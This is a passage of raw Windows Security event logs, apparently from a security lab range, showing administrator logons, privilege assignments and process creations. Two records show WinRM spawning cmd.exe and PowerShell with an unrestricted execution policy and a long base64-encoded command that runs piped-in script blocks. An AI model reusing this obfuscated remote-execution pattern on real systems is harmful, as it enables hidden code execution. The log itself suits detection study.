Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1189D5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247307 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247306 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247305 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf54 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247304 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf60 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247303 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x118669 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247302 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x118669 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247301 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247300 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247299 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe04 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf60 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247298 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Process Information: - New Process ID: 0xf60 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247296 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1182E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247295 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247294 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247293 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247292 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1153B2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247291 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x115819 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247290 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181FB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247289 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1181FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a 